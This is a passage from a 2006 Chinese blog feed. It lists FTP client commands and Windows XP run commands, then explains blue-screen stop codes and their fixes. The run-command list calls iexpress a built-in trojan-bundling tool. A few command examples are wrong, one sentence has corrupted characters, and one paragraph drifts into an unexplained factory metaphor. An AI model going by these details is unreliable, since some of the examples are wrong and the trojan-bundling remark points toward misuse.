file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。<br /><br />13.close：中断与远程服务器的ftp会话(与open对应)。 <br />14.cr：使用asscii方式传输文件时，将回车换行转换为回行。<br /><br />15.delete remote-file：删除远程主机文件。 <br />16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。<br /><br />17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 <br />18.disconnection：同close。<br /><br />19.form format：将文件传输方式设置为format，缺省为file方式。 <br />20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。<br /><br />21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 <br />22.hash：每传输1024字节，显示一个hash符号(#)。<br /><br />23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。 <br />24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。<br /><br />25.image：设置二进制传输方式(同binary)。 <br />26.lcd[dir]：将本地工作目录切换至dir。<br /><br />27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。 <br />28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。<br /><br />29.mdelete[remote-file]：删除远程主机文件。 <br />30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。<br /><br />31.mget remote-files：传输多个远程文件。 <br />32.mkdir dir-name：在远程主机中建一目录。<br /><br />33.mls remote-file local-file：同nlist，但可指定多个文件名。 <br />34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。<br /><br />35.modtime file-name：显示远程主机文件的最后修改时间。 <br />36.mput local-file：将多个文件传输至远程主机。<br /><br />37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。<br />38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。<br /><br />39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。<br />40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。<br /><br />41.open host[port]：建立指定ftp服务器连接，可指定连接端口。 <br />42.passive：进入被动传输方式。<br /><br />43.prompt：设置多个文件传输时的交互提示。 <br />44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。<br />45.put local-file[remote-file]：将本地文件local-file传送至远程主机。 <br />46.pwd：显示远程主机的当前工作目录。<br /><br />47.quit：同bye，退出ftp会话。 <br />48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.<br /><br />49.recv remote-file[local-file]：同get。 <br />50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。<br /><br />51.rhelp[cmd-name]：请求获得远程主机的帮助。 <br />52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。<br /><br />53.rename[from][to]：更改远程主机文件名。 <br />54.reset：清除回答队列。<br /><br />55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。 <br />56.rmdir dir-name：删除远程主机目录。<br /><br />57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。 <br />58.send local-file[remote-file]：同put。<br /><br />59.sendport：设置PORT命令的使用。 <br />60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。<br /><br />61.size file-name：显示远程主机文件大小，如：site idle 7200。 <br />62.status：显示当前ftp状态。</font>
		<a href="http://www.jz5u.com/" target="_blank">
				<font color="#000000" size="2">www.jz5u.com</font>
		</a>
		<br />
		<br />
		<font size="2">63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。 <br />64.sunique：将远程主机文件名存储设置为只一(与runique对应)。<br /><br />65.system：显示远程主机的操作系统类型。 <br />66.tenex：将文件传输类型设置为TENEX机的所需的类型。<br /><br />67.tick：设置传输时的字节计数器。 <br />68.trace：设置包跟踪。<br /><br />69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 <br />70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3<br /><br />71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。 <br />72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.<br /><br />73.?[cmd]：同help.<br /><br />#11 十一：<br /><br />7：计算机运行命令全集 winver---------检查Windows版本<br />wmimgmt.msc----打开windows管理体系结构<br />wupdmgr--------windows更新程序<br />winver---------检查Windows版本<br />wmimgmt.msc----打开windows管理体系结构<br />wupdmgr--------windows更新程序<br />wscript--------windows脚本宿主设置<br />write----------写字板winmsd-----系统信息<br />wiaacmgr-------扫描仪和照相机向导<br />winchat--------XP自带局域网聊天<br />mem.exe--------显示内存使用情况<br />Msconfig.exe---系统配置实用程序 <br />mplayer2-------简易widnows media player<br />mspaint--------画图板<br />mstsc----------远程桌面连接<br />mplayer2-------媒体播放机<br />magnify--------放大镜实用程序<br />mmc------------打开控制台<br />mobsync--------同步命令<br />dxdiag---------检查DirectX信息<br />drwtsn32------ 系统医生<br />devmgmt.msc--- 设备管理器<br />dfrg.msc-------磁盘碎片整理程序<br />diskmgmt.msc---磁盘管理实用程序<br />dcomcnfg-------打开系统组件服务<br />ddeshare-------打开DDE共享设置<br />dvdplay--------DVD播放器<br />net stop messenger-----停止信使服务<br />net start messenger----开始信使服务 <br />notepad--------打开记事本<br />nslookup-------网络管理的工具向导<br />ntbackup-------系统备份和还原<br />narrator-------屏幕"讲述人"<br />ntmsmgr.msc----移动存储管理器<br />ntmsoprq.msc---移动存储管理员操作请求<br />netstat -an----(TC)命令检查接口<br />syncapp--------创建一个公文包<br />sysedit--------系统配置编辑器<br />sigverif-------文件签名验证程序<br />sndrec32-------录音机<br />shrpubw--------创建共享文件夹<br />secpol.msc-----本地安全策略<br />syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码<br />services.msc---本地服务设置<br />Sndvol32-------音量控制程序<br />sfc.exe--------系统文件检查器<br />sfc /scannow---windows文件保护<br />tsshutdn-------60秒倒计时关机命令<br />tourstart------xp简介（安装完成后出现的漫游xp程序）<br />taskmgr--------任务管理器<br />eventvwr-------事件查看器<br />eudcedit-------造字程序 <br />explorer-------打开资源管理器<br />packager-------对象包装程序<br />perfmon.msc----计算机性能监测程序<br />progman--------程序管理器<br />regedit.exe----注册表 <br />rsop.msc-------组策略结果集<br />regedt32-------注册表编辑器<br />rononce -p ----15秒关机<br />regsvr32 /u *.dll----停止dll文件运行<br />regsvr32 /u zipfldr.dll------取消ZIP支持<br />cmd.exe--------CMD命令提示符<br />chkdsk.exe-----Chkdsk磁盘检查<br />certmgr.msc----证书管理实用程序<br />calc-----------启动计算器<br />charmap--------启动字符映射表<br />cliconfg-------SQL SERVER 客户端网络实用程序<br />Clipbrd--------剪贴板查看器<br />conf-----------启动netmeeting<br />compmgmt.msc---计算机管理<br />cleanmgr-------**整理<br />ciadv.msc------索引服务程序<br />osk------------打开屏幕键盘<br />odbcad32-------ODBC数据源管理器<br />oobe/msoobe /a----检查XP是否激活<br />lusrmgr.msc----本机用户和组<br />logoff---------注销命令<br />iexpress-------木马捆绑工具，系统自带<br />Nslookup-------IP地址侦测器<br />fsmgmt.msc-----共享文件夹管理器<br />utilman--------辅助工具管理器<br />gpedit.msc-----组策略</font>
		<br />
<img src ="http://www.cnitblog.com/raise/aggbug/9835.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/raise/" target="_blank">江可</a> 2006-04-28 11:03 <a href="http://www.cnitblog.com/raise/archive/2006/04/28/9835.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>蓝屏报告分析</title><link>http://www.cnitblog.com/raise/archive/2006/04/28/9834.html</link><dc:creator>江可</dc:creator><author>江可</author><pubDate>Fri, 28 Apr 2006 02:55:00 GMT</pubDate><guid>http://www.cnitblog.com/raise/archive/2006/04/28/9834.html</guid><wfw:comment>http://www.cnitblog.com/raise/comments/9834.html</wfw:comment><comments>http://www.cnitblog.com/raise/archive/2006/04/28/9834.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/raise/comments/commentRss/9834.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/raise/services/trackbacks/9834.html</trackback:ping><description><![CDATA[
		<span class="tpc_content">
				<font size="2">一般蓝屏出现的报告<br />这个报告主要分成三部分:故障信息、推荐操作、调试端口信息.<br /><br /><br />1.故障检查信息 <br />***STOP 0x0000001E(0xC0000005,0xFDE38AF9,0x0000001,0x7E8B0EB4) <br />KMODE_EXCEPTION_NOT_HANDLED *** <br />其中错误的第一部分是停机码(Stop Code)也就是STOP 0x0000001E, 用于识别已发生错误的类型, 错误第二部分是被括号括起来的四个数字集, 表示随机的开发人员定义的参数(这个参数对于普通用户根本无法理解, 只有驱动程序编写者或者微软操作系统的开发人员才懂). 第三部分是错误名. 信息第一行通常用来识别生产错误的驱动程序或者设备. 这种信息多数很简洁, 但停机码可以作为搜索项在微软知识库和其他技术资料中使用. <br />2.推荐操作 <br />蓝屏第二部分是推荐用户进行的操作信息. 有时, 推荐的操作仅仅是一般性的建议(比如: 到销售商网站查找BIOS的更新等); 有时, 也就是显示一条与当前问题相关的提示. 一般来说, 惟一的建议就是重启. <br />3.调试端口告诉用户内存转储映像是否写到磁盘商了, 使用内存转储映像可以确定发生问题的性质, 还会告诉用户调试信息是否被传到另一台电脑商, 以及使用了什么端口完成这次通讯. 不过, 这里的信息对于普通用户来说, 没有什么意义. <br />有时保卫科可以顺利的查到是哪个生产小组的问题, 会在第一部分明确报告是哪个文件犯的错, 但常常它也只能查个大概范围, 而无法明确指明问题所在. 由于工厂全面被迫停止, 只有重新整顿开工, 有时, 那个生产小组会意识到错误 , 不再重犯. 但有时仍然会试图哄抢零件, 于是厂领导不得不重复停工决定(不能启动并显示蓝屏信息, 或在进行相同操作时再次出现蓝屏). <br /><br />出现蓝屏后的九个常规解决方案 <br /><br />Windows 2K/XP蓝屏信息非常多, 无法在一篇文章中全面讲解, 但他们产生的原因往往集中在不兼容的硬件和驱动程序、有问题的软件、病毒等, 因此首先为大家提供了一些常规的解决方案, 在遇到蓝屏错误时, 应先对照这些方案进行排除. <br />1.重启 <br />有时只是某个程序或驱动程序一时犯错, 重启后他们会改过自新.(注意:此时参见7.查询停机码) <br />2.新硬件 <br />首先, 应该检查新硬件是否插牢, 这个被许多人忽视的问题往往会引发许多莫名其妙的故障. 如果确认没有问题, 将其拔下, 然后换个插槽试试, 并安装最新的驱动程序. 同时还应对照微软网站的硬件兼容类别检查一下硬件是否与操作系统兼容. 如果你的硬件没有在表中, 那么就得到硬件厂商网站进行查询, 或者拨打他们的咨询电话. <br />[color] <br />Windows XP的硬件兼容列表:<br /></font>
				<a href="http://support.microsoft.com/default.aspx?scid=kb;zh-cn;314062" target="_blank">
						<font color="#000000" size="2">http://support.microsoft.com/default.aspx?scid=kb;zh-cn;314062</font>
				</a>
				<br />
				<br />
				<font size="2">Windows 2K的硬件兼容类别:<br /></font>
				<a href="http://winqual.microsoft.com/download/display.asp?FileName=hcl/Win2000HCL.txt" target="_blank">
						<font color="#000000" size="2">http://winqual.microsoft.com/download/display.asp?FileName=hcl/Win2000HCL.txt</font>
				</a>
				<br />
				<br />
				<font size="2">[/color] <br />3.新驱动和新服务 <br />如果刚安装完某个硬件的新驱动, 或安装了某个软件, 而它又在系统服务中添加了相应项目(比如:杀毒软件、CPU降温软件、防火墙软件等), 在重启或使用中出现了蓝屏故障, 请到安全模式来卸载或禁用它们. <br />4.检查病毒 <br />比如冲击波和振荡波等病毒有时会导致Windows蓝屏死机, 因此查杀病毒必豢缮? 同时一些木马间谍软件也会引发蓝屏, 所以最好再用相关工具进行扫描检查. <br />5.检查BIOS和硬件兼容性 <br />对于新装的电脑经常出现蓝屏问题, 应该检查并升级BIOS到最新版本, 同时关闭其中的内存相关项, 比如:缓存和映射. 另外, 还应该对照微软的硬件兼容列表检查自己的硬件. 还有就是, 如果主板BIOS无法支持大容量硬盘也会导致蓝屏, 需要对其进行升级. <br />┌────────────────────────────┐ <br />│小提示: │ <br />│ BIOS的缓存和映射项 │ <br />│ Video BIOS Shadowing (视频BIOS映射) │ <br />│ Shadowing address ranges(映射地址列) │ <br />│ System BIOS Cacheable(系统BIOS缓冲) │ <br />│ Video BIOS Cacheable(视频BIOS缓冲) │ <br />│ Video RAM Cacheable(视频内存缓冲) │ <br />└────────────────────────────┘ <br />6.检查系统日志 <br />在开始--&gt;菜单中输入:EventVwr.msc, 回车出现"事件查看器", 注意检查其中的"系统日志"和"应用程序日志"中表明"错误"的项. <br />7.查询停机码 <br />把蓝屏中密密麻麻的E文记下来, 接着到其他电脑中上网, 进入微软帮助与支持网站<br /></font>
				<a href="http://support.microsoft.com/" target="_blank">
						<font color="#000000" size="2">http://support.microsoft.com</font>
				</a>
				<br />
				<font size="2">, 在左上角的"搜索(知识库)"中输入停机码, 如果搜索结果没有适合信息, 可以选择"英文知识库"在搜索一遍. 一般情况下, 会在这里找到有用的解决案例. 另外, 在baidu、Google等搜索引擎中使用蓝屏的停机码或者后面的说明文字为关键词搜索, 往往也会有以外的收获. <br />8.最后一次正确配置 <br />一般情况下, 蓝屏都出现于更新了硬件驱动或新加硬件并安装其驱动后, 这时Windows 2K/XP提供的"最后一次正确配置"就是解决蓝屏的快捷方式. 重启系统, 在出现启动菜单时按下F8键就会出现高级启动选项菜单, 接着选择"最后一次正确配置". <br />9.安装最新的系统补丁和Service Pack <br />有些蓝屏是Windows本身存在缺陷造成的, 应此可通过安装最新的系统补丁和Service Pack来解决. <br />经典蓝屏案意义破解 <br /><br />┌─┐ <br />│ 1│ <br />└─┘0x0000000A:IRQL_NOT_LESS_OR_EQUAL <br />◆错误分析:主要是由问题的驱动程序、有缺陷或不兼容的硬件与软件造成的. 从技术角度讲. 表明在内核模式中存在以太高的进程内部请求级别(IRQL)访问其没有权限访问的内存地址. <br />◇解决方案:请用前面介绍的解决方案中的2、3、5、8、9方案尝试排除. <br />┌─┐ <br />│ 2│ <br />└─┘0x00000012:TRAP_CAUSE_UNKNOWN <br />◆错误分析:如果遇到这个错误信息, 那么很不幸, 应为KeBudCheck分析的结果是错误原因未知. <br />◇解决方案:既然微软都帮不上忙, 就得靠自己了, 请仔细回想这个错误是什么时候出现的; 第一次发生时你对系统做了哪些操作; 发生时正在进行什么操作. 从这些信息中找出可能的原因, 从而选择相应解决方案尝试排除. <br />┌─┐ <br />│ 3│ <br />└─┘0x0000001A:MEMORY_MANAGEMENT <br />◆错误分析:这个内存管理错误往往是由硬件引起的, 比如: 新安装的硬件、内存本身有问题等. <br />◇解决方案:如果是在安装Windows时出现, 有可能是由于你的电脑达不到安装Windows的最小内存和磁盘要求. <br />┌─┐ <br />│ 4│ <br />└─┘0x0000001E:KMODE_EXCEPTION_NOT_HANDLED <br />◆错误分析:Windows内核检查到一个非法或者未知的进程指令, 这个停机码一般是由问题的内存或是与前面0x0000000A相似的原因造成的. <br />◇解决方案: <br />(1)硬件兼容有问题:请对照前面提到的最新硬件兼容性列表, 查看所有硬件是否包含在该列表中. <br />(2) 有问题的设备驱动、系统服务或内存冲突和中断冲突: 如果在蓝屏信息中出现了驱动程序的名字, 请试着在安装模式或者故障恢复控制台中禁用或删除驱动程序, 并禁用所有刚安装的驱动和软件. 如果错误出现在系统启动过程中, 请进入安全模式, 将蓝屏信息中所标明的文件重命名或者删除. <br />(3)如果错误信息中明确指出Win32K.sys: 很有可能是第三方远程控制软件造成的, 需要从故障恢复控制台中将对该软件的服务关闭. <br />(4)在安装Windows后第一次重启时出现:最大嫌疑可能时系统分区的磁盘空间不足或BIOS兼容有问题. <br />(5)如果是在关闭某个软件时出现的:很有可能时软件本省存在设计缺陷, 请升级或卸载它. <br />┌─┐ <br />│ 5│0x00000023:FAT_FILE_SYSTEM <br />└─┘0x00000024:NTFS_FILE_SYSTEM <br />◆ 错误分析:0x00000023通常发生在读写FAT16或者FAT32文件系统的系统分区时, 而0x00000024则是由于NTFS.sys文件出现错误(这个驱动文件的作用是容许系统读写使用NTFS文件系统的磁盘). 这两个蓝屏错误很有可能是磁盘本身存在物理损坏, 或是中断要求封包(IRP)损坏而导致的. 其他原因还包括:硬盘磁盘碎片过多; 文件读写操作过于频繁, 并且数据量非常达或者是由于一些磁盘镜像软件或杀毒软件引起的. <br />◇解决方案: <br />第一步:首先打开命令行提示符, 运行"Chkdsk /r"(注:不是CHKDISK, 感觉象这个, 但是……)命令检查并修复硬盘错误, 如果报告存在怀道(Bad Track), 请使用硬盘厂商提供的检查工具进行检查和修复. <br />第二步:接着禁用所有即使扫描文件的软件, 比如:杀毒软件、防火墙或备份工具. <br />第三步:右击C:winntsystem32driversfastfat.sys文件并选择"属性", 查看其版本是否与当前系统所使用的Windows版本相符.(注:如果是XP, 应该是C:windowssystem32driversfastfat.sys) <br />第四步:安装最新的主板驱动程序, 特别IDE驱动. 如果你的光驱、可移动存储器也提供有驱动程序, 最好将它们升级至最新版. <br />┌─┐ <br />│ 6│ <br />└─┘0x00000027:RDR_FILE_SYSTEM <br />◆错误分析:这个错误产生的原因很难判断, 不过Windows内存管理出了问题很可能会导致这个停机码的出现. <br />◇解决方案:如果是内存管理的缘故, 通常增加内存会解决问题. <br />┌─┐ <br />│ 7│ <br />└─┘0x0000002E:DATA_BUS_ERROR <br />◆错误分析:系统内存存储器奇偶校验产生错误, 通常是因为有缺陷的内存(包括物理内存、二级缓存或者显卡显存)时设备驱动程序访问不存在的内存地址等原因引起的. 另外, 硬盘被病毒或者其他问题所损伤, 以出现这个停机码. <br />◇解决方案: <br />(1)检查病毒 <br />(2)使用"chkdsk /r"命令检查所有磁盘分区. <br />(3)用Memtest86等内存测试软件检查内存. <br />(4)检查硬件是否正确安装, 比如:是否牢固、金手指是否有污渍. <br />┌─┐ <br />│ 8│ <br />└─┘0x00000035:NO_MORE_IRP_STACK_LOCATIONS <br />◆错误分析:从字面上理解, 应该时驱动程序或某些软件出现堆栈问题. 其实这个故障的真正原因应该时驱动程序本省存在问题, 或是内存有质量问题. <br />◇解决方案:请使用前面介绍的常规解决方案中与驱动程序和内存相关的方案进行排除. <br />┌─┐ <br />│ 9│ <br />└─┘0x0000003F:NO_MORE_SYSTEM_PTES <br />◆错误分析:一个与系统内存管理相关的错误, 比如:由于执行了大量的输入/输出操作, 造成内存管理出现问题: 有缺陷的驱动程序不正确地使用内存资源; 某个应用程序(比如:备份软件)被分配了大量的内核内存等. <br />◇解决方案:卸载所有最新安装的软件(特别是哪些增强磁盘性能的应用程序和杀毒软件)和驱动程序. <br />┌─┐ <br />│10│ <br />└─┘0x00000044:MULTIPLE_IRP_COMPLIETE_REQUESTS <br />◆错误分析:通常是由硬件驱动程序引起的. <br />◇解决方案:卸载最近安装的驱动程序. 这个故障很少出现, 目前已经知道的是, 在使用<br /></font>
				<a href="http://www.in-system.com/" target="_blank">
						<font color="#000000" size="2">http://www.in-system.com/</font>
				</a>
				<br />
				<font size="2">这家公司的某些软件时会出现, 其中的罪魁就是Falstaff.sys文件.(作者难道不怕吃官司嘛, 把公司网址公布) <br />┌─┐ <br />│11│ <br />└─┘0x00000050:PAGE_FAULT_IN_NONPAGED+AREA <br />◆错误分析:有问题的内存(包括屋里内存、二级缓存、显存)、不兼容的软件(主要是远程控制和杀毒软件)、损坏的NTFS卷以及有问题的硬件(比如:PCI插卡本身已损坏)等都会引发这个错误. <br />◇解决方案:请使用前面介绍的常规解决方案中与内存、软件、硬件、硬盘等相关的方案进行排除. <br />┌─┐ <br />│12│ <br />└─┘0x00000051:REGISTRY_ERROR <br />◆错误分析:这个停机码说明注册表或系统配置管理器出现错误, 由于硬盘本身有物理损坏或文件系统存在问题, 从而造成在读取注册文件时出现输入/输出错误. <br />◇解决方案:使用"chkdsk /r"检查并修复磁盘错误. <br />┌─┐ <br />│13│ <br />└─┘0x00000058:FTDISK_INTERNAL_ERROR <br />◆错误分析:说明在容错集的主驱动发生错误. <br />◇解决方案:首先尝试重启电脑看是否能解决问题, 如果不行, 则尝试"最后一次正确配置"进行解决. <br />┌─┐ <br />│14│ <br />└─┘0x0000005E:CRITICAL_SERVICE_FAILED <br />◆错误分析:某个非常重要的系统服务启动识别造成的. <br />◇ 解决方案:如果是在安装了某个新硬件后出新的, 可以先移除该硬件, 并通过网上列表检查它是否与Windows 2K/XP兼容, 接着启动电脑, 如果蓝屏还是出现, 请使用"最后一次正确配置"来启动Windows, 如果这样还是失败, 建议进行修复安装或是重装. <br />┌─┐ <br />│15│ <br />└─┘0x0000006F:SESSION3_INITIALIZATION-FAILED <br />◆错误分析:这个错误通常出现在Windows启动时, 一般是由有问题的驱动程序或损坏的系统文件引起的. <br />◇解决方案:建议使用Windows安装光盘对系统进行修复安装. <br />┌─┐ <br />│16│ <br />└─┘0x00000076:PROCESS_HAS_LOCKED_PAGES <br />◆错误分析:通常是因为某个驱动程序在完成了一次输入/输出操作后, 没有正确释放所占有的内存 <br />◇解决方案: <br />第一步:点击开始--&gt;运行:regedt32, 找到[HKLMSYSTEMCurrentcontrol setcontrolsession managermemory management], 在右侧新建双字节值"TrackLockedPages", 值为1. 这样Windows便会在错误再次出现时跟踪到是哪个驱动程序的问题. <br />第二步:如果再次出现蓝屏, 那么错误信息会变成: <br />STOP:0x0000000CB(0xY,0xY,0xY,0xY)DRIVER_LEFT_LOCKED_PAGES_IN_PROCESS <br />其中第四个"0xY"会显示为问题驱动程序的名字, 接着对其进行更新或删除. <br />第三步:进入注册表, 删除添加的"TrackLockedPages". <br />┌─┐ <br />│17│ <br />└─┘0x00000077:KERNEL_STACK_INPAGE_ERROR <br />◆错误分析:说明需要使用的内核数据没有在虚拟内存或物理内存中找到. 这个错误常常于是着磁盘有问题, 相应数据损坏或受到病毒侵蚀. <br />◇解决方案:使用杀毒软件扫描系统; 使用"chkdsk /r"命令检查并修复磁盘错误, 如不行则使用磁盘厂商提供的工具检查修复. <br />┌─┐ <br />│18│ <br />└─┘0x0000007A:KERNEL_DATA_INPAGE_ERROR <br />◆错误分析:这个错误往往是虚拟内存中的内核数据无法读入内存造成的. 原因可能是虚拟内存页面文件中存在坏簇、病毒、磁盘控制器出错、内存有问题. <br />◇ 解决方案:首先用升级为最新病毒库杀毒软件查杀病毒, 如果促无信息中还有0xC000009C或0xC000016A代码, 那么表示是坏簇造成的, 并且系统的磁盘检测工具无法自动修复, 这时要进入"故障恢复控制台", 用"chkdsk /r"命令进行手动修复. <br />┌─┐ <br />│19│ <br />└─┘0x0000007B:INACESSIBLE_BOOT_DEVICE <br />◆错误分析:Windows在启动过程中无法访问系统分区或启动卷. 一般发生在更换主板后第一次启动时, 主要是因为新主板和旧主板的IDE控制器使用了不同芯片组造成的. 有时也可能是病毒或硬盘损伤所引起的. <br />◇ 解决方案:一般只要用安装光盘启动电脑, 然后执行修复安装即可解决问题. 对于病毒则可使用DOS版的杀毒软件进行查杀(主战有kv2005DOS版下载). 如果是硬盘本身存在问题, 请将其安装到其他电脑中, 然后使用"chkdsk /r"来检查并修复磁盘错误. <br />┌─┐ <br />│20│ <br />└─┘0x0000007E:SYSTEM_THREAD_EXCEPTION_NOT_HANDLED <br />◆错误分析:系统进程产生错误, 但Windows错误处理器无法捕获. 其产生原因很多, 包括:硬件兼容性、有问题的驱动程序或系统服务、 或者是某些软件. <br />◇解决方案:请使用"事件查看器"来获取更多的信息, 从中发现错误根源.(发现好像不是解决哦, 看来这里大家要自力更生了!) <br />┌─┐ <br />│21│ <br />└─┘0x0000007F:UNEXPECTED_KERNEL_MOED_TRAP <br />◆错误分析:一般是由于有问题的硬件(比如:内存)或某些软件引起的. 有时超频也会产生这个错误. <br />◇ 解决方案:用检测软件(比如:Memtest86)检查内存, 如果进行了超频, 请取消超频. 将PCI硬件插卡从主板插槽拔下来, 或更换插槽. 另外, 有些主板(比如:nForce2主板)在进行超频后, 南桥芯片过热也会导致蓝屏, 此时为该芯片单独增加散热片往往可以有效解决问题. <br />┌─┐ <br />│22│ <br />└─┘0x00000080:NMI_HARDWARE_FAILURE <br />◆错误分析:通常是有硬件引起的.(似乎蓝屏与硬件错误有不解之缘) <br />◇ 解决方案:如果最近安装了新硬件, 请将其移除, 然后试试更换插槽和安装最新的驱动程序, 如果升级了驱动程序, 请恢复后原来的版本; 检查内存金手指是否有污染和损坏; 扫描病毒; 运行"chkdsk /r"检查并修复磁盘错误; 检查所有硬件插卡已经插牢. 如果以上尝试都无效果, 就得找专业的电脑维修公司请求帮助了. <br />┌─┐ <br />│23│ <br />└─┘0x0000008E:KERNEL_MODE_EXCEPTION_NOT_HANDLED <br />◆错误分析:内核级应用程序产生了错误, 但Windows错误处理器没有捕获. 通常是硬件兼容性错误. <br />◇解决方案:升级驱动程序或升级BIOS. <br />┌─┐ <br />│24│ <br />└─┘0x0000009C:MACHINE_CHECK_EXCEPTION <br />◆错误分析:通常是硬件引起的. 一般是因为超频或是硬件存在问题(内存、CPU、总线、电源). <br />◇解决方案:如果进行了超频, 请降会CPU原来频率, 检查硬件. <br />┌─┐ <br />│25│ <br />└─┘0x0000009F:DRIVER_POWER_STATE_FAILURE <br />◆错误分析:往往与电源有关系, 常常发生在与电源相关的操作, 比如:关机、待机或休睡. <br />◇解决方案:重装系统, 如果不能解决, 请更换电源. <br />┌─┐ <br />│26│ <br />└─┘0x000000A5:ACPI_BIOS_ERROR <br />◆错误分析:通常是因为主板BIOS不能全面支持ACPI规范. <br />◇ 解决方案:如果没有相应BIOS升级, 那么可在安装Windows 2K/XP时, 当出现"press F6 if you need to install a third-party SCSI or RAID driver"提示时, 按下F7键, 这样Windows便会自动禁止安装ACPI HAL, 而安装 Standard PC HAL. <br />┌─┐ <br />│27│ <br />└─┘0x000000B4:VIDEO_DRIVER_INIT_FAILURE <br />◆错误分析:这个停止信息表示Windows因为不能启动显卡驱动, 从而无法进入图形界面. 通常是显卡的问题, 或者是存在与显卡的硬件冲突(比如:与并行或串行端口冲突). <br />◇ 解决方案:进入安全模式查看问题是否解决, 如果可以, 请升级最新的显卡驱动程序, 如果还不行, 则很可能是显卡与并行端口存在冲突, 需要在安全模式按下WIN+break组合键打开"系统属性", 在硬件--&gt;设备管理器中找到并双击连接打印的LPT1端口的项, 在"资源"选项卡中取消"使用自动配置"的构选, 然后将"输入/输出范围"的"03BC"改为"0378". <br />┌─┐ <br />│28│ <br />└─┘0x000000BE:ATTEMPTED_WRITE_TO_READONLY_MEMORY <br />◆错误分析:某个驱动程序试图向只读内存写入数据造成的. 通常是在安装了新的驱动程序, 系统服务或升级了设备的固件程序后. <br />◇解决方案:如果在错误信息中包含有驱动程序或者服务文件名称, 请根据这个信息将新安装的驱动程序或软件卸载或禁用. <br />┌─┐ <br />│29│ <br />└─┘0x000000C2:BAD_POOL_CALLER <br />◆错误分析:一个内核层的进程或驱动程序错误地试图进入内存操作. 通常是驱动程序或存在BUG的软件造成的. <br />◇解决方案:请参考前面介绍的常规解决方案相关项目进行排除. <br />┌─┐ <br />│30│ <br />└─┘0x000000CE:DRIVER_UNLOADED_WITHOUT_CANCELLING_PENDING_OPERATIONS <br />◆错误分析:通常是由有问题的驱动程序或系统服务造成的. <br />◇解决方案:请参考前面介绍的常规解决方案相关项目进行排除. <br />┌─┐ <br />│31│ <br />└─┘0x000000D1:DRIVER_IRQL_NOT_LESS_OR_EQUAL <br />◆ 错误分析:通常是由有问题的驱动程序引起的(比如罗技鼠标的Logitech MouseWare 9.10和9.24版驱动程序会引发这个故障). 同时,有缺陷的内存、 损坏的虚拟内存文件、 某些软件(比如多媒体软件、杀毒软件、备份软件、DVD播放软件)等也会导致这个错误. <br />◇解决方案:检查最新安装或升级的驱动程序(如果蓝屏中出现"acpi.sys"等类似文件名, 可以非常肯定时驱动程序问题)和软件; 测试内存是否存在问题; 进入"故障恢复控制台", 转到虚拟内存页面文件Pagefile.sys所在分区, 执行"del pagefile.sys"命令, 将页面文件删除; 然后在页面文件所在分区执行"chkdsk /r"命令;进入Windows后重新设置虚拟内存. <br />如果在上网时遇到这个蓝屏, 而你恰恰又在进行大量的数据下载和上传(比如:网络游戏、BT下载), 那么应该是网卡驱动的问题, 需要升级其驱动程序. <br />┌─┐ <br />│32│ <br />└─┘0x000000EA:THREAD_STUCK_IN_DEVICE_DRIVER <br />◆错误分析:通常是由显卡或显卡驱动程序引发的. <br />◇解决方案:先升级最新的显卡驱动, 如果不行, 则需要更换显卡测试故障是否依然发生. <br />┌─┐ <br />│33│ <br />└─┘0x000000ED:UNMOUNTABLE_BOOT_VOLUME <br />◆ 错误分析:一般是由于磁盘存在错误导致的, 有时也建议检查硬盘连线是否接触不良, 或是没有使用合乎该硬盘传输规格的连接线, 例如ATA-100仍使用ATA-33的连接线, 对低速硬盘无所谓, 但告诉硬盘(支持ATA-66以上)的要求较严格, 规格不对的连线有时也会引起这类没办法开机的故障. 如果在修复后, 还是经常出现这个错误, 很可能是硬盘损坏的前兆. <br />◇解决方案:一般情况下, 重启会解决问题, 不管怎么样都建议执行"chkdsk /r"命令来检查修复硬盘. <br />┌─┐ <br />│34│ <br />└─┘0x000000F2:HARDWARE)INTERRUPT_STORM <br />◆错误分析:内核层检查到系统出现中断风暴, 比如:某个设备在完成操作后没有释放所占用的中断. 通常这是由缺陷的驱动程序造成的. <br 